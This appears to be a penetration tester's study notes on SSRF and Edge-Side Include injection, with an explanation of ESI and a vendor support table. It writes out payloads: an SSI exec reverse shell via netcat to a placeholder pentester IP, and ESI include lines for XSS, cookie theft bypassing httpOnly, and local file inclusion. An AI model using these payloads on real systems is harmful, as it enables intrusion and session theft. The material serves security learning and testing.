SSRF

Hacktricks

PortSwigger

Server-Side Request Forgery (SSRF) attacks, listed in the OWASP top 10, allow us to abuse server functionality to perform internal or external resource requests on behalf of the server. To do that, we usually need to supply or modify URLs used by the target application to read or submit data. Exploiting SSRF vulnerabilities can lead to:

• Interacting with known internal systems

• Discovering internal services via port scans

• Disclosing local/sensitive data

• Including files in the target application

• Leaking NetNTLM hashes using UNC Paths (Windows)

• Achieving remote code execution

#Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

Edge-Side Includes (ESI) Injection

Edge Side Includes (ESI) is an XML-based markup language used to tackle performance issues by enabling heavy caching of Web content, which would be otherwise unstorable through traditional caching protocols. Edge Side Includes (ESI) allow for dynamic web content assembly at the edge of the network (Content Delivery Network, User's Browser, or Reverse Proxy) by instructing the page processor what needs to be done to complete page assembly through ESI element tags (XML tags).

ESI tags are used to instruct an HTTP surrogate (reverse-proxy, caching server, etc.) to fetch additional information regarding a web page with an already cached template. This information may come from another server before rendering the web page to the end-user. ESI enable fully cached web pages to include dynamic content.

Edge-Side Include Injection occurs when an attacker manages to reflect malicious ESI tags in the HTTP Response. The root cause of this vulnerability is that HTTP surrogates cannot validate the ESI tag origin. They will gladly parse and evaluate legitimate ESI tags by the upstream server and malicious ESI tags by an attacker.

// Basic detection
<esi: include src=http://<PENTESTER IP>>

// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>

// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Although we can identify the use of ESI by inspecting response headers in search for Surrogate-Control: content="ESI/1.0", we usually need to use a blind attack approach to detect if ESI is in use or not.

GoSecure has created a table to help us understand possible attacks that we can try against different ESI-capable software.

• Includes: Supports the <esi:includes> directive

• Vars: Supports the <esi:vars> directive. Useful for bypassing XSS Filters

• Cookie: Document cookies are accessible to the ESI engine

• Upstream Headers Required: Surrogate applications will not process ESI statements unless the upstream application provides the headers

• Host Allowlist: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts

Software	Includes	Vars	Cookies	Upstream Headers Required	Host Whitelist
Squid3	Yes	Yes	Yes	Yes	No
Varnish Cache	Yes	No	No	Yes	Yes
Fastly	Yes	No	No	No	Yes
Akamai ESI Test Server (ETS)	Yes	Yes	Yes	No	No
NodeJS esi	Yes	Yes	Yes	No	No
NodeJS nodesi	Yes	No	No	No	Optional